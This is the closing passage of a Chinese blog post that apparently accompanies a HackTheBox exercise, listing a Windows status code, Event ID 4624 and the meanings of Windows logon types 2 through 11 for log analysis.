0xC0000371 | 本地帐户存储不包含指定帐户的秘密材料 |
接下来是访问系统时会出现的事件:
Event ID | Description |
---|---|
4624 | 一个帐户已成功登录 |
Logon Type for Event 4624:
Logon Type | Description |
---|---|
2 | 交互登录,比如使用系统的键盘和屏幕,或者使用像VNC这类第三方远程访问工具,或者使用了-u 参数的psexec ,这种登录会在session中将用户的凭据保存在RAM里,且可能将凭据保存在磁盘中 |
3 | 网络登录,比如从网络访问该电脑的共享文件夹,此时用户的凭据不会保存在RAM或者磁盘中 |
4 | 批处理登录,这种登录方法一般被批处理服务器使用,因为批处理服务器会在某个用户不直接干涉的情况下以他的名义执行某些进程 |
5 | 服务登录,说明服务控制管理器启动了某个服务 |
7 | 解锁登录,说明具有密码保护屏幕的无人使用的工作站已被解锁 |
8 | 网络明文登录,说明一个用户通过网络登录了该电脑,同时 |
9 | 新凭证登录 |
10 | 远程交互登录 |
11 | 缓存交互登录 |
- 本文作者: 9C±Void
- 本文链接: https://cauliweak9.github.io/2024/10/28/hackthebox/
- 版权声明: 本博客所有文章除特别声明外,均采用 MIT 许可协议。转载请注明出处!